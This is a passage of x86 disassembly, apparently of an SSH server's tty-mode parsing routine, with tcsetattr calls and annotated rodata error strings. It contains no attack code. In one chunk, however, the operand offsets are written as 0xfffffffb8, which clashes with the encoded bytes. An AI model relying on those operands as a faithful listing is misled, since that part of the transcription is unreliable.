080579a0  e8 43 ed ff ff            call   080566e8 <Unknown0150>
080579a5  88 45 d4                  mov    %al,0xffffffd4(%ebp)
080579a8  e9 1b ff ff ff            jmp    080578c8 <Unknown0177+0x20>  ;-229 'x1b xff xff xff' ""
080579ad  8d 76 00                  lea    0x0(%esi),%esi
080579b0  e8 33 ed ff ff            call   080566e8 <Unknown0150>
080579b5  88 45 d9                  mov    %al,0xffffffd9(%ebp)
080579b8  e9 0b ff ff ff            jmp    080578c8 <Unknown0177+0x20>  ;-245 'xb xff xff xff' ""
080579bd  8d 76 00                  lea    0x0(%esi),%esi
080579c0  e8 23 ed ff ff            call   080566e8 <Unknown0150>
080579c5  88 45 d1                  mov    %al,0xffffffd1(%ebp)
080579c8  e9 fb fe ff ff            jmp    080578c8 <Unknown0177+0x20>  ;-261 'xfb xfe xff xff' ""
080579cd  8d 76 00                  lea    0x0(%esi),%esi
080579d0  e8 13 ed ff ff            call   080566e8 <Unknown0150>
080579d5  88 45 d2                  mov    %al,0xffffffd2(%ebp)
080579d8  e9 eb fe ff ff            jmp    080578c8 <Unknown0177+0x20>  ;-277 'xeb xfe xff xff' ""
080579dd  8d 76 00                  lea    0x0(%esi),%esi
080579e0  e8 03 ed ff ff            call   080566e8 <Unknown0150>
080579e5  88 45 d3                  mov    %al,0xffffffd3(%ebp)
080579e8  e9 db fe ff ff            jmp    080578c8 <Unknown0177+0x20>  ;-293 'xdb xfe xff xff' ""
080579ed  8d 76 00                  lea    0x0(%esi),%esi
080579f0  e8 f3 ec ff ff            call   080566e8 <Unknown0150>
080579f5  88 45 d5                  mov    %al,0xffffffd5(%ebp)
080579f8  e9 cb fe ff ff            jmp    080578c8 <Unknown0177+0x20>  ;-309 'xcb xfe xff xff' ""
080579fd  8d 76 00                  lea    0x0(%esi),%esi
08057a00  e8 e3 ec ff ff            call   080566e8 <Unknown0150>
08057a05  88 45 d7                  mov    %al,0xffffffd7(%ebp)
08057a08  e9 bb fe ff ff            jmp    080578c8 <Unknown0177+0x20>  ;-325 'xbb xfe xff xff' ""
08057a0d  8d 76 00                  lea    0x0(%esi),%esi
08057a10  e8 d3 ec ff ff            call   080566e8 <Unknown0150>
08057a15  88 45 d8                  mov    %al,0xffffffd8(%ebp)
08057a18  e9 ab fe ff ff            jmp    080578c8 <Unknown0177+0x20>  ;-341 'xab xfe xff xff' ""
08057a1d  8d 76 00                  lea    0x0(%esi),%esi
08057a20  e8 c3 ec ff ff            call   080566e8 <Unknown0150>
08057a25  88 45 d6                  mov    %al,0xffffffd6(%ebp)
08057a28  e9 9b fe ff ff            jmp    080578c8 <Unknown0177+0x20>  ;-357 'x9b xfe xff xff' ""
08057a2d  8d 76 00                  lea    0x0(%esi),%esi
08057a30  e8 b3 ec ff ff            call   080566e8 <Unknown0150>
08057a35  85 c0                     test   %eax,%eax
08057a37  74 0b                     je     08057a44 <Unknown0177+0x19c>
08057a39  83 4d b8 04               orl    $0x4,0xffffffb8(%ebp)
08057a3d  e9 86 fe ff ff            jmp    080578c8 <Unknown0177+0x20>  ;-378 'x86 xfe xff xff' ""
08057a42  89 f6                     mov    %esi,%esi
08057a44  83 65 b8 fb               andl   $0xfffffffb,0xffffffb8(%ebp)
08057a48  e9 7b fe ff ff            jmp    080578c8 <Unknown0177+0x20>  ;-389 'x7b xfe xff xff' "{"
08057a4d  8d 76 00                  lea    0x0(%esi),%esi
```

```
08057a50   e8 93 ec ff ff        call    080566e8 <Unknown0150>
08057a55   85 c0                 test    %eax,%eax
08057a57   74 0b                 je      08057a64 <Unknown0177+0x1bc>
08057a59   83 4d b8 08           orl     $0x8,0xfffffffb8(%ebp)
08057a5d   e9 66 fe ff ff        jmp     080578c8 <Unknown0177+0x20>   ;-410 'x66 xfe xff xff' "f"
08057a62   89 f6                 mov     %esi,%esi
08057a64   83 65 b8 f7           andl    $0xfffffff7,0xfffffffb8(%ebp)
08057a68   e9 5b fe ff ff        jmp     080578c8 <Unknown0177+0x20>   ;-421 'x5b xfe xff xff' "["
08057a6d   8d 76 00              lea     0x0(%esi),%esi
08057a70   e8 73 ec ff ff        call    080566e8 <Unknown0150>
08057a75   85 c0                 test    %eax,%eax
08057a77   74 0b                 je      08057a84 <Unknown0177+0x1dc>
08057a79   83 4d b8 10           orl     $0x10,0xfffffffb8(%ebp)
08057a7d   e9 46 fe ff ff        jmp     080578c8 <Unknown0177+0x20>   ;-442 'x46 xfe xff xff' "F"
08057a82   89 f6                 mov     %esi,%esi
08057a84   83 65 b8 ef           andl    $0xffffffef,0xfffffffb8(%ebp)
08057a88   e9 3b fe ff ff        jmp     080578c8 <Unknown0177+0x20>   ;-453 'x3b xfe xff xff' ";"
08057a8d   8d 76 00              lea     0x0(%esi),%esi
08057a90   e8 53 ec ff ff        call    080566e8 <Unknown0150>
08057a95   85 c0                 test    %eax,%eax
08057a97   74 0b                 je      08057aa4 <Unknown0177+0x1fc>
08057a99   83 4d b8 20           orl     $0x20,0xfffffffb8(%ebp)
08057a9d   e9 26 fe ff ff        jmp     080578c8 <Unknown0177+0x20>   ;-474 'x26 xfe xff xff' "&"
08057aa2   89 f6                 mov     %esi,%esi
08057aa4   83 65 b8 df           andl    $0xffffffdf,0xfffffffb8(%ebp)
08057aa8   e9 1b fe ff ff        jmp     080578c8 <Unknown0177+0x20>   ;-485 'x1b xfe xff xff' ""
08057aad   8d 76 00              lea     0x0(%esi),%esi
08057ab0   e8 33 ec ff ff        call    080566e8 <Unknown0150>
08057ab5   85 c0                 test    %eax,%eax
08057ab7   74 0b                 je      08057ac4 <Unknown0177+0x21c>
08057ab9   83 4d b8 40           orl     $0x40,0xfffffffb8(%ebp)
08057abd   e9 06 fe ff ff        jmp     080578c8 <Unknown0177+0x20>   ;-506 'x6 xfe xff xff' ""
08057ac2   89 f6                 mov     %esi,%esi
08057ac4   83 65 b8 bf           andl    $0xffffffbf,0xfffffffb8(%ebp)
08057ac8   e9 fb fd ff ff        jmp     080578c8 <Unknown0177+0x20>   ;-517 'xfb xfd xff xff' ""
08057acd   8d 76 00              lea     0x0(%esi),%esi
08057ad0   e8 13 ec ff ff        call    080566e8 <Unknown0150>
08057ad5   85 c0                 test    %eax,%eax
08057ad7   74 0f                 je      08057ae8 <Unknown0177+0x240>
08057ad9   81 4d b8 80 00 00 00  orl     $0x80,0xfffffffb8(%ebp)     ;128 'x80 x0 x0 x0' ""
08057ae0   e9 e3 fd ff ff        jmp     080578c8 <Unknown0177+0x20>   ;-541 'xe3 xfd xff xff' ""
08057ae5   8d 76 00              lea     0x0(%esi),%esi
08057ae8   81 65 b8 7f ff ff ff  andl    $0xffffff7f,0xfffffffb8(%ebp)   ;-129 'x7f xff xff xff' ""
08057aef   e9 d4 fd ff ff        jmp     080578c8 <Unknown0177+0x20>   ;-556 'xd4 xfd xff xff' ""
08057af4   e8 ef eb ff ff        call    080566e8 <Unknown0150>
08057af9   85 c0                 test    %eax,%eax
08057afb   74 0f                 je      08057b0c <Unknown0177+0x264>
08057afd   81 4d b8 00 01 00 00  orl     $0x100,0xfffffffb8(%ebp)    ;256 'x0 x1 x0 x0' ""
08057b04   e9 bf fd ff ff        jmp     080578c8 <Unknown0177+0x20>   ;-577 'xbf xfd xff xff' ""
08057b09   8d 76 00              lea     0x0(%esi),%esi
08057b0c   81 65 b8 ff fe ff ff  andl    $0xfffffeff,0xfffffffb8(%ebp)   ;-257 'xff xfe xff xff' ""
08057b13   e9 b0 fd ff ff        jmp     080578c8 <Unknown0177+0x20>   ;-592 'xb0 xfd xff xff' ""
08057b18   e8 cb eb ff ff        call    080566e8 <Unknown0150>
08057b1d   85 c0                 test    %eax,%eax
08057b1f   74 0f                 je      08057b30 <Unknown0177+0x288>
08057b21   81 4d b8 00 02 00 00  orl     $0x200,0xfffffffb8(%ebp)    ;512 'x0 x2 x0 x0' ""
08057b28   e9 9b fd ff ff        jmp     080578c8 <Unknown0177+0x20>   ;-613 'x9b xfd xff xff' ""
08057b2d   8d 76 00              lea     0x0(%esi),%esi
08057b30   81 65 b8 ff fd ff ff  andl    $0xfffffdff,0xfffffffb8(%ebp)   ;-513 'xff xfd xff xff' ""
08057b37   e9 8c fd ff ff        jmp     080578c8 <Unknown0177+0x20>   ;-628 'x8c xfd xff xff' ""
08057b3c   e8 a7 eb ff ff        call    080566e8 <Unknown0150>
08057b41   85 c0                 test    %eax,%eax
08057b43   74 0f                 je      08057b54 <Unknown0177+0x2ac>
08057b45   81 4d b8 00 04 00 00  orl     $0x400,0xfffffffb8(%ebp)    ;1024 'x0 x4 x0 x0' ""
08057b4c   e9 77 fd ff ff        jmp     080578c8 <Unknown0177+0x20>   ;-649 'x77 xfd xff xff' "w"
08057b51   8d 76 00              lea     0x0(%esi),%esi
08057b54   81 65 b8 ff fb ff ff  andl    $0xfffffbff,0xfffffffb8(%ebp)   ;-1025 'xff xfb xff xff' ""
08057b5b   e9 68 fd ff ff        jmp     080578c8 <Unknown0177+0x20>   ;-664 'x68 xfd xff xff' "h"
08057b60   e8 83 eb ff ff        call    080566e8 <Unknown0150>
08057b65   85 c0                 test    %eax,%eax
08057b67   74 0f                 je      08057b78 <Unknown0177+0x2d0>
08057b69   81 4d b8 00 08 00 00  orl     $0x800,0xfffffffb8(%ebp)    ;2048 'x0 x8 x0 x0' ""
08057b70   e9 53 fd ff ff        jmp     080578c8 <Unknown0177+0x20>   ;-685 'x53 xfd xff xff' "S"
08057b75   8d 76 00              lea     0x0(%esi),%esi
08057b78   81 65 b8 ff f7 ff ff  andl    $0xfffff7ff,0xfffffffb8(%ebp)   ;-2049 'xff xf7 xff xff' ""
08057b7f   e9 44 fd ff ff        jmp     080578c8 <Unknown0177+0x20>   ;-700 'x44 xfd xff xff' "D"
08057b84   e8 5f eb ff ff        call    080566e8 <Unknown0150>
08057b89   85 c0                 test    %eax,%eax
08057b8b   74 0f                 je      08057b9c <Unknown0177+0x2f4>
08057b8d   81 4d b8 00 10 00 00  orl     $0x1000,0xfffffffb8(%ebp)   ;4096 'x0 x10 x0 x0' ""
08057b94   e9 2f fd ff ff        jmp     080578c8 <Unknown0177+0x20>   ;-721 'x2f xfd xff xff' "/"
08057b99   8d 76 00              lea     0x0(%esi),%esi
08057b9c   81 65 b8 ff ef ff ff  andl    $0xffffefff,0xfffffffb8(%ebp)   ;-4097 'xff xef xff xff' ""
08057ba3   e9 20 fd ff ff        jmp     080578c8 <Unknown0177+0x20>   ;-736 'x20 xfd xff xff' " "
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08057ba8  e8 3b eb ff ff           call    080566e8 <Unknown0150>
08057bad  85 c0                     test    %eax,%eax
08057baf  74 0f                     je      08057bc0 <Unknown0177+0x318>
08057bb1  81 4d b8 00 20 00 00      orl     $0x2000,0xffffffb8(%ebp)   ;8192 'x0 x20 x0 x0' ""
08057bb8  e9 0b fd ff ff            jmp     080578c8 <Unknown0177+0x20>   ;-757 'xb xfd xff xff' ""
08057bbd  8d 76 00                  lea     0x0(%esi),%esi
08057bc0  81 65 b8 ff df ff ff      andl    $0xffffdfff,0xffffffb8(%ebp)   ;-8193 'xff xdf xff xff' ""
08057bc7  e9 fc fc ff ff            jmp     080578c8 <Unknown0177+0x20>   ;-772 'xfc xfc xff xff' ""
08057bcc  e8 17 eb ff ff            call    080566e8 <Unknown0150>
08057bd1  85 c0                     test    %eax,%eax
08057bd3  74 0b                     je      08057be0 <Unknown0177+0x338>
08057bd5  83 4d c4 01               orl     $0x1,0xffffffc4(%ebp)
08057bd9  e9 ea fc ff ff            jmp     080578c8 <Unknown0177+0x20>   ;-790 'xea xfc xff xff' ""
08057bde  89 f6                     mov     %esi,%esi
08057be0  83 65 c4 fe               andl    $0xfffffffe,0xffffffc4(%ebp)
08057be4  e9 df fc ff ff            jmp     080578c8 <Unknown0177+0x20>   ;-801 'xdf xfc xff xff' ""
08057be9  8d 76 00                  lea     0x0(%esi),%esi
08057bec  e8 f7 ea ff ff            call    080566e8 <Unknown0150>
08057bf1  85 c0                     test    %eax,%eax
08057bf3  74 0b                     je      08057c00 <Unknown0177+0x358>
08057bf5  83 4d c4 02               orl     $0x2,0xffffffc4(%ebp)
08057bf9  e9 ca fc ff ff            jmp     080578c8 <Unknown0177+0x20>   ;-822 'xca xfc xff xff' ""
08057bfe  89 f6                     mov     %esi,%esi
08057c00  83 65 c4 fd               andl    $0xfffffffd,0xffffffc4(%ebp)
08057c04  e9 bf fc ff ff            jmp     080578c8 <Unknown0177+0x20>   ;-833 'xbf xfc xff xff' ""
08057c09  8d 76 00                  lea     0x0(%esi),%esi
08057c0c  e8 d7 ea ff ff            call    080566e8 <Unknown0150>
08057c11  85 c0                     test    %eax,%eax
08057c13  74 0b                     je      08057c20 <Unknown0177+0x378>
08057c15  83 4d c4 04               orl     $0x4,0xffffffc4(%ebp)
08057c19  e9 aa fc ff ff            jmp     080578c8 <Unknown0177+0x20>   ;-854 'xaa xfc xff xff' ""
08057c1e  89 f6                     mov     %esi,%esi
08057c20  83 65 c4 fb               andl    $0xfffffffb,0xffffffc4(%ebp)
08057c24  e9 9f fc ff ff            jmp     080578c8 <Unknown0177+0x20>   ;-865 'x9f xfc xff xff' ""
08057c29  8d 76 00                  lea     0x0(%esi),%esi
08057c2c  e8 b7 ea ff ff            call    080566e8 <Unknown0150>
08057c31  85 c0                     test    %eax,%eax
08057c33  74 0b                     je      08057c40 <Unknown0177+0x398>
08057c35  83 4d c4 08               orl     $0x8,0xffffffc4(%ebp)
08057c39  e9 8a fc ff ff            jmp     080578c8 <Unknown0177+0x20>   ;-886 'x8a xfc xff xff' ""
08057c3e  89 f6                     mov     %esi,%esi
08057c40  83 65 c4 f7               andl    $0xfffffff7,0xffffffc4(%ebp)
08057c44  e9 7f fc ff ff            jmp     080578c8 <Unknown0177+0x20>   ;-897 'x7f xfc xff xff' ""
08057c49  8d 76 00                  lea     0x0(%esi),%esi
08057c4c  e8 97 ea ff ff            call    080566e8 <Unknown0150>
08057c51  85 c0                     test    %eax,%eax
08057c53  74 0b                     je      08057c60 <Unknown0177+0x3b8>
08057c55  83 4d c4 10               orl     $0x10,0xffffffc4(%ebp)
08057c59  e9 6a fc ff ff            jmp     080578c8 <Unknown0177+0x20>   ;-918 'x6a xfc xff xff' "j"
08057c5e  89 f6                     mov     %esi,%esi
08057c60  83 65 c4 ef               andl    $0xffffffef,0xffffffc4(%ebp)
08057c64  e9 5f fc ff ff            jmp     080578c8 <Unknown0177+0x20>   ;-929 'x5f xfc xff xff' "_"
08057c69  8d 76 00                  lea     0x0(%esi),%esi
08057c6c  e8 77 ea ff ff            call    080566e8 <Unknown0150>
08057c71  85 c0                     test    %eax,%eax
08057c73  74 0b                     je      08057c80 <Unknown0177+0x3d8>
08057c75  83 4d c4 20               orl     $0x20,0xffffffc4(%ebp)
08057c79  e9 4a fc ff ff            jmp     080578c8 <Unknown0177+0x20>   ;-950 'x4a xfc xff xff' "J"
08057c7e  89 f6                     mov     %esi,%esi
08057c80  83 65 c4 df               andl    $0xffffffdf,0xffffffc4(%ebp)
08057c84  e9 3f fc ff ff            jmp     080578c8 <Unknown0177+0x20>   ;-961 'x3f xfc xff xff' "?"
08057c89  8d 76 00                  lea     0x0(%esi),%esi
08057c8c  e8 57 ea ff ff            call    080566e8 <Unknown0150>
08057c91  85 c0                     test    %eax,%eax
08057c93  74 0b                     je      08057ca0 <Unknown0177+0x3f8>
08057c95  83 4d c4 40               orl     $0x40,0xffffffc4(%ebp)
08057c99  e9 2a fc ff ff            jmp     080578c8 <Unknown0177+0x20>   ;-982 'x2a xfc xff xff' "*"
08057c9e  89 f6                     mov     %esi,%esi
08057ca0  83 65 c4 bf               andl    $0xffffffbf,0xffffffc4(%ebp)
08057ca4  e9 1f fc ff ff            jmp     080578c8 <Unknown0177+0x20>   ;-993 'x1f xfc xff xff' ""
08057ca9  8d 76 00                  lea     0x0(%esi),%esi
08057cac  e8 37 ea ff ff            call    080566e8 <Unknown0150>
08057cb1  85 c0                     test    %eax,%eax
08057cb3  74 0f                     je      08057cc4 <Unknown0177+0x41c>
08057cb5  81 4d c4 80 00 00 00      orl     $0x80,0xffffffc4(%ebp)   ;128 'x80 x0 x0 x0' ""
08057cbc  e9 07 fc ff ff            jmp     080578c8 <Unknown0177+0x20>   ;-1017 'x7 xfc xff xff' ""
08057cc1  8d 76 00                  lea     0x0(%esi),%esi
08057cc4  81 65 c4 7f ff ff ff      andl    $0xffffff7f,0xffffffc4(%ebp)   ;-129 'x7f xff xff xff' ""
08057ccb  e9 f8 fb ff ff            jmp     080578c8 <Unknown0177+0x20>   ;-1032 'xf8 xfb xff xff' ""
08057cd0  e8 13 ea ff ff            call    080566e8 <Unknown0150>
08057cd5  85 c0                     test    %eax,%eax
08057cd7  74 0f                     je      08057ce8 <Unknown0177+0x440>
08057cd9  81 4d c4 00 01 00 00      orl     $0x100,0xffffffc4(%ebp)   ;256 'x0 x1 x0 x0' ""
08057ce0  e9 e3 fb ff ff            jmp     080578c8 <Unknown0177+0x20>   ;-1053 'xe3 xfb xff xff' ""
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08057ce5  8d 76 00              lea     0x0(%esi),%esi
08057ce8  81 65 c4 ff fe ff ff  andl    $0xfffffeff,0xffffffc4(%ebp)   ;-257 'xff xfe xff xff' ""
08057cef  e9 d4 fb ff ff        jmp     080578c8 <Unknown0177+0x20>   ;-1068 'xd4 xfb xff xff' ""
08057cf4  e8 ef e9 ff ff        call    080566e8 <Unknown0150>
08057cf9  85 c0                 test    %eax,%eax
08057cfb  74 0f                 je      08057d0c <Unknown0177+0x464>
08057cfd  81 4d c4 00 80 00 00  orl     $0x8000,0xffffffc4(%ebp)   ;32768 'x0 x80 x0 x0' ""
08057d04  e9 bf fb ff ff        jmp     080578c8 <Unknown0177+0x20>   ;-1089 'xbf xfb xff xff' ""
08057d09  8d 76 00              lea     0x0(%esi),%esi
08057d0c  81 65 c4 ff 7f ff ff  andl    $0xffff7fff,0xffffffc4(%ebp)   ;-32769 'xff x7f xff xff' ""
08057d13  e9 b0 fb ff ff        jmp     080578c8 <Unknown0177+0x20>   ;-1104 'xb0 xfb xff xff' ""
08057d18  e8 cb e9 ff ff        call    080566e8 <Unknown0150>
08057d1d  85 c0                 test    %eax,%eax
08057d1f  74 0f                 je      08057d30 <Unknown0177+0x488>
08057d21  81 4d c4 00 02 00 00  orl     $0x200,0xffffffc4(%ebp)   ;512 'x0 x2 x0 x0' ""
08057d28  e9 9b fb ff ff        jmp     080578c8 <Unknown0177+0x20>   ;-1125 'x9b xfb xff xff' ""
08057d2d  8d 76 00              lea     0x0(%esi),%esi
08057d30  81 65 c4 ff fd ff ff  andl    $0xfffffdff,0xffffffc4(%ebp)   ;-513 'xff xfd xff xff' ""
08057d37  e9 8c fb ff ff        jmp     080578c8 <Unknown0177+0x20>   ;-1140 'x8c xfb xff xff' ""
08057d3c  e8 a7 e9 ff ff        call    080566e8 <Unknown0150>
08057d41  85 c0                 test    %eax,%eax
08057d43  74 0f                 je      08057d54 <Unknown0177+0x4ac>
08057d45  81 4d c4 00 08 00 00  orl     $0x800,0xffffffc4(%ebp)   ;2048 'x0 x8 x0 x0' ""
08057d4c  e9 77 fb ff ff        jmp     080578c8 <Unknown0177+0x20>   ;-1161 'x77 xfb xff xff' "w"
08057d51  8d 76 00              lea     0x0(%esi),%esi
08057d54  81 65 c4 ff f7 ff ff  andl    $0xfffff7ff,0xffffffc4(%ebp)   ;-2049 'xff xf7 xff xff' ""
08057d5b  e9 68 fb ff ff        jmp     080578c8 <Unknown0177+0x20>   ;-1176 'x68 xfb xff xff' "h"
08057d60  e8 83 e9 ff ff        call    080566e8 <Unknown0150>
08057d65  85 c0                 test    %eax,%eax
08057d67  74 0f                 je      08057d78 <Unknown0177+0x4d0>
08057d69  81 4d c4 00 40 00 00  orl     $0x4000,0xffffffc4(%ebp)   ;16384 'x0 x40 x0 x0' ""
08057d70  e9 53 fb ff ff        jmp     080578c8 <Unknown0177+0x20>   ;-1197 'x53 xfb xff xff' "S"
08057d75  8d 76 00              lea     0x0(%esi),%esi
08057d78  81 65 c4 ff bf ff ff  andl    $0xffffbfff,0xffffffc4(%ebp)   ;-16385 'xff xbf xff xff' ""
08057d7f  e9 44 fb ff ff        jmp     080578c8 <Unknown0177+0x20>   ;-1212 'x44 xfb xff xff' "D"
08057d84  e8 5f e9 ff ff        call    080566e8 <Unknown0150>
08057d89  85 c0                 test    %eax,%eax
08057d8b  74 0b                 je      08057d98 <Unknown0177+0x4f0>
08057d8d  83 4d bc 01           orl     $0x1,0xffffffbc(%ebp)
08057d91  e9 32 fb ff ff        jmp     080578c8 <Unknown0177+0x20>   ;-1230 'x32 xfb xff xff' "2"
08057d96  89 f6                 mov     %esi,%esi
08057d98  83 65 bc fe           andl    $0xfffffffe,0xffffffbc(%ebp)
08057d9c  e9 27 fb ff ff        jmp     080578c8 <Unknown0177+0x20>   ;-1241 'x27 xfb xff xff' "'"
08057da1  8d 76 00              lea     0x0(%esi),%esi
08057da4  e8 3f e9 ff ff        call    080566e8 <Unknown0150>
08057da9  85 c0                 test    %eax,%eax
08057dab  74 0b                 je      08057db8 <Unknown0177+0x510>
08057dad  83 4d bc 02           orl     $0x2,0xffffffbc(%ebp)
08057db1  e9 12 fb ff ff        jmp     080578c8 <Unknown0177+0x20>   ;-1262 'x12 xfb xff xff' ""
08057db6  89 f6                 mov     %esi,%esi
08057db8  83 65 bc fd           andl    $0xfffffffd,0xffffffbc(%ebp)
08057dbc  e9 07 fb ff ff        jmp     080578c8 <Unknown0177+0x20>   ;-1273 'x7 xfb xff xff' ""
08057dc1  8d 76 00              lea     0x0(%esi),%esi
08057dc4  e8 1f e9 ff ff        call    080566e8 <Unknown0150>
08057dc9  85 c0                 test    %eax,%eax
08057dcb  74 0b                 je      08057dd8 <Unknown0177+0x530>
08057dcd  83 4d bc 04           orl     $0x4,0xffffffbc(%ebp)
08057dd1  e9 f2 fa ff ff        jmp     080578c8 <Unknown0177+0x20>   ;-1294 'xf2 xfa xff xff' ""
08057dd6  89 f6                 mov     %esi,%esi
08057dd8  83 65 bc fb           andl    $0xfffffffb,0xffffffbc(%ebp)
08057ddc  e9 e7 fa ff ff        jmp     080578c8 <Unknown0177+0x20>   ;-1305 'xe7 xfa xff xff' ""
08057de1  8d 76 00              lea     0x0(%esi),%esi
08057de4  e8 ff e8 ff ff        call    080566e8 <Unknown0150>
08057de9  85 c0                 test    %eax,%eax
08057deb  74 0b                 je      08057df8 <Unknown0177+0x550>
08057ded  83 4d bc 08           orl     $0x8,0xffffffbc(%ebp)
08057df1  e9 d2 fa ff ff        jmp     080578c8 <Unknown0177+0x20>   ;-1326 'xd2 xfa xff xff' ""
08057df6  89 f6                 mov     %esi,%esi
08057df8  83 65 bc f7           andl    $0xfffffff7,0xffffffbc(%ebp)
08057dfc  e9 c7 fa ff ff        jmp     080578c8 <Unknown0177+0x20>   ;-1337 'xc7 xfa xff xff' ""
08057e01  8d 76 00              lea     0x0(%esi),%esi
08057e04  e8 df e8 ff ff        call    080566e8 <Unknown0150>
08057e09  85 c0                 test    %eax,%eax
08057e0b  74 0b                 je      08057e18 <Unknown0177+0x570>
08057e0d  83 4d bc 10           orl     $0x10,0xffffffbc(%ebp)
08057e11  e9 b2 fa ff ff        jmp     080578c8 <Unknown0177+0x20>   ;-1358 'xb2 xfa xff xff' ""
08057e16  89 f6                 mov     %esi,%esi
08057e18  83 65 bc ef           andl    $0xffffffef,0xffffffbc(%ebp)
08057e1c  e9 a7 fa ff ff        jmp     080578c8 <Unknown0177+0x20>   ;-1369 'xa7 xfa xff xff' ""
08057e21  8d 76 00              lea     0x0(%esi),%esi
08057e24  e8 bf e8 ff ff        call    080566e8 <Unknown0150>
08057e29  85 c0                 test    %eax,%eax
08057e2b  74 0b                 je      08057e38 <Unknown0177+0x590>
08057e2d  83 4d bc 20           orl     $0x20,0xffffffbc(%ebp)
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08057e31  e9 92 fa ff ff        jmp      080578c8 <Unknown0177+0x20>   ;-1390 'x92 xfa xff xff' ""
08057e36  89 f6                 mov      %esi,%esi
08057e38  83 65 bc df           andl     $0xffffffdf,0xffffffbc(%ebp)
08057e3c  e9 87 fa ff ff        jmp      080578c8 <Unknown0177+0x20>   ;-1401 'x87 xfa xff xff' ""
08057e41  8d 76 00              lea      0x0(%esi),%esi
08057e44  e8 9f e8 ff ff        call     080566e8 <Unknown0150>
08057e49  85 c0                 test     %eax,%eax
08057e4b  74 0b                 je       08057e58 <Unknown0177+0x5b0>
08057e4d  83 4d c0 20           orl      $0x20,0xffffffc0(%ebp)
08057e51  e9 72 fa ff ff        jmp      080578c8 <Unknown0177+0x20>   ;-1422 'x72 xfa xff xff' "r"
08057e56  89 f6                 mov      %esi,%esi
08057e58  83 65 c0 df           andl     $0xffffffdf,0xffffffc0(%ebp)
08057e5c  e9 67 fa ff ff        jmp      080578c8 <Unknown0177+0x20>   ;-1433 'x67 xfa xff xff' "g"
08057e61  8d 76 00              lea      0x0(%esi),%esi
08057e64  e8 7f e8 ff ff        call     080566e8 <Unknown0150>
08057e69  85 c0                 test     %eax,%eax
08057e6b  74 0b                 je       08057e78 <Unknown0177+0x5d0>
08057e6d  83 4d c0 30           orl      $0x30,0xffffffc0(%ebp)
08057e71  e9 52 fa ff ff        jmp      080578c8 <Unknown0177+0x20>   ;-1454 'x52 xfa xff xff' "R"
08057e76  89 f6                 mov      %esi,%esi
08057e78  83 65 c0 cf           andl     $0xffffffcf,0xffffffc0(%ebp)
08057e7c  e9 47 fa ff ff        jmp      080578c8 <Unknown0177+0x20>   ;-1465 'x47 xfa xff xff' "G"
08057e81  8d 76 00              lea      0x0(%esi),%esi
08057e84  e8 5f e8 ff ff        call     080566e8 <Unknown0150>
08057e89  85 c0                 test     %eax,%eax
08057e8b  74 0f                 je       08057e9c <Unknown0177+0x5f4>
08057e8d  81 4d c0 00 01 00 00  orl      $0x100,0xffffffc0(%ebp)   ;256 'x0 x1 x0 x0' ""
08057e94  e9 2f fa ff ff        jmp      080578c8 <Unknown0177+0x20>   ;-1489 'x2f xfa xff xff' "/"
08057e99  8d 76 00              lea      0x0(%esi),%esi
08057e9c  81 65 c0 ff fe ff ff  andl     $0xfffffeff,0xffffffc0(%ebp)   ;-257 'xff xfe xff xff' ""
08057ea3  e9 20 fa ff ff        jmp      080578c8 <Unknown0177+0x20>   ;-1504 'x20 xfa xff xff' " "
08057ea8  e8 3b e8 ff ff        call     080566e8 <Unknown0150>
08057ead  85 c0                 test     %eax,%eax
08057eaf  74 0f                 je       08057ec0 <Unknown0177+0x618>
08057eb1  81 4d c0 00 02 00 00  orl      $0x200,0xffffffc0(%ebp)   ;512 'x0 x2 x0 x0' ""
08057eb8  e9 0b fa ff ff        jmp      080578c8 <Unknown0177+0x20>   ;-1525 'xb xfa xff xff' ""
08057ebd  8d 76 00              lea      0x0(%esi),%esi
08057ec0  81 65 c0 ff fd ff ff  andl     $0xfffffdff,0xffffffc0(%ebp)   ;-513 'xff xfd xff xff' ""
08057ec7  e9 fc f9 ff ff        jmp      080578c8 <Unknown0177+0x20>   ;-1540 'xfc xf9 xff xff' ""
08057ecc  50                    push     %eax
08057ecd  53                    push     %ebx
08057ece  53                    push     %ebx
08057ecf  68 a0 18 07 08        push     $0x80718a0  ;[in .rodata] 1869506377 'x49 x67 x6e x6f' "Ignoring
                                                      unsupported tty mode opcode %d (0x%x)"
08057ed4  e8 a7 7e ff ff        call     0804fd80 <Unknown0039>
08057ed9  83 c4 10              add      $0x10,%esp
08057edc  83 fb 7f              cmp      $0x7f,%ebx
08057edf  77 0b                 ja       08057eec <Unknown0177+0x644>
08057ee1  e8 02 e8 ff ff        call     080566e8 <Unknown0150>
08057ee6  e9 dd f9 ff ff        jmp      080578c8 <Unknown0177+0x20>   ;-1571 'xdd xf9 xff xff' ""
08057eeb  90                    nop
08057eec  8d 43 80              lea      0xffffff80(%ebx),%eax
08057eef  83 f8 1f              cmp      $0x1f,%eax
08057ef2  77 0c                 ja       08057f00 <Unknown0177+0x658>
08057ef4  e8 0b e8 ff ff        call     08056704 <Unknown0151>
08057ef9  e9 ca f9 ff ff        jmp      080578c8 <Unknown0177+0x20>   ;-1590 'xca xf9 xff xff' ""
08057efe  89 f6                 mov      %esi,%esi
08057f00  83 ec 08              sub      $0x8,%esp
08057f03  53                    push     %ebx
08057f04  68 e0 18 07 08        push     $0x80718e0  ;[in .rodata] 1936875888 'x70 x61 x72 x73'
                                                      "parse_tty_modes: unknown opcode %d"
08057f09  e8 0e 7d ff ff        call     0804fc1c <Unknown0036>
08057f0e  83 c4 10              add      $0x10,%esp
08057f11  53                    push     %ebx
08057f12  8d 45 b8              lea      0xffffffb8(%ebp),%eax
08057f15  50                    push     %eax
08057f16  6a 00                 push     $0x0
08057f18  56                    push     %esi
08057f19  e8 de 1e ff ff        call     08049dfc <tcsetattr>
08057f1e  83 c4 10              add      $0x10,%esp
08057f21  85 c0                 test     %eax,%eax
08057f23  79 20                 jns      08057f45 <Unknown0177+0x69d>
08057f25  83 ec 10              sub      $0x10,%esp
08057f28  e8 0f 1f ff ff        call     08049e3c <__errno_location>
08057f2d  59                    pop      %ecx
08057f2e  ff 30                 pushl    (%eax)
08057f30  e8 b7 1e ff ff        call     08049dec <strerror>
08057f35  5e                    pop      %esi
08057f36  5a                    pop      %edx
08057f37  50                    push     %eax
08057f38  68 20 19 07 08        push     $0x8071920  ;[in .rodata] 1953785171 'x53 x65 x74 x74' "Setting tty
                                                      modes failed: %.100s"
08057f3d  e8 da 7c ff ff        call     0804fc1c <Unknown0036>
08057f42  83 c4 10              add      $0x10,%esp
```

```
08057f45  8d 65 f8              lea     0xfffffff8(%ebp),%esp
08057f48  5b                    pop     %ebx
08057f49  5e                    pop     %esi
08057f4a  5d                    pop     %ebp
